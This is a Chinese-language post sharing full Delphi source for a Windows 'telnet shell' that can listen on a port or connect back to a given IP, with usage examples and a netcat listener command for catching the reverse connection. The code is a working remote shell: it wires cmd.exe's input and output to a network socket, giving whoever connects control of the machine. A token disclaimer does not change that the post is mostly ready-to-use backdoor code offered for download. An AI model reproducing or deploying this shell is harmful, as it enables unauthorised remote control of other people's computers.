支持正反连接的TELNET SHELL程序(附Delph源码)

TELNET SHELL 的C代码不少，DELPHI的比较少见，我把C代码改成DELPHI代码的，喜欢用DELPHI代码的朋友可以看看！只做编程参考，请匆用于破坏！

使用示例:
DShell.exe 3000  正向连接方式
DShell.exe 192.168.1.200 3000  反向连接方式

反向连接时，请先用NC等待反向的连接
nc -l -p 3000   //端口和上面的指定的端口要相同了

点击下载该工具

代码如下：
------------------------------------------------------------------

program D_Shell;
{$APPTYPE CONSOLE} //控制台程序

uses windows, Winsock2;


function StrToInt(const S: string): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
end;

function ExtractFileName(const Path: string): string;
var
  i, L: integer;
  Ch: Char;
begin
  L := Length(Path);
  for i := L downto 1 do
  begin
    Ch := Path[i];
    if (Ch = '\') or (Ch = '/') then
    begin
      Result := Copy(Path, i + 1, L - i);
      Break;
    end;
  end;
end;

const
  line = '-----------------------------------------------';

var
  wsadata: TWsadata;
  MySocket: TSocket;
  Addr: TSockAddrIn;
  ClientAddr: TSockAddrIn;
  ClientAddrLen: integer;
  Clientsocket: TSocket;
  Buf: array[0..1024] of char;
  SI: TStartUpInfo;
  PI: TProcessInformation;
  re: integer;
  str: string;
begin
  try
    WSAStartup($202, wsaData); //初始化网络
    //创建 Socket
    MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);

    case ParamCount of
      1: //服务器模式
        begin
          Addr.sin_family := AF_INET; //
          Addr.sin_port := htons(strtoint(ParamStr(1))); //端口
          Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址
          bind(MySocket, @Addr, SizeOf(TSockAddrIn));
          listen(MySocket, 1);

          //读取并分配一个新连接进行处理
          ClientAddrLen := SizeOf(ClientAddr);
          Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);
        end;
      2: //连接模式
        begin
          Addr.sin_family := AF_INET;
          Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP
          Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口
          re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接
          if re <> 0 then exit;
          Clientsocket := MySocket;
        end;
    else begin //显示帮助信息
        writeln(line);
        writeln('[啊D TELNET SHELL] '#13#10'http://www.d99net.net');
        writeln(line);
        writeln('使用示例:');
        str := extractfilename(ParamStr(0)); //得到程序名
        writeln(str + ' 3000  正向连接方式');
        writeln(str + ' 192.168.1.200 3000  反向连接方式');
        exit; //退出
      end;
    end;

    GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置
    FillChar(SI, SizeOf(SI), 0);
    SI.cb := SizeOf(TStartUpInfo);
    SI.dwFlags := $101;
    SI.hStdOutput := Clientsocket; //输出到 socket 中
    SI.hStdError := Clientsocket;
    si.hStdInput := Clientsocket;  //把输入的内容输入到CMD管道
    createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI);  //创建CMD
  except

  end;
end.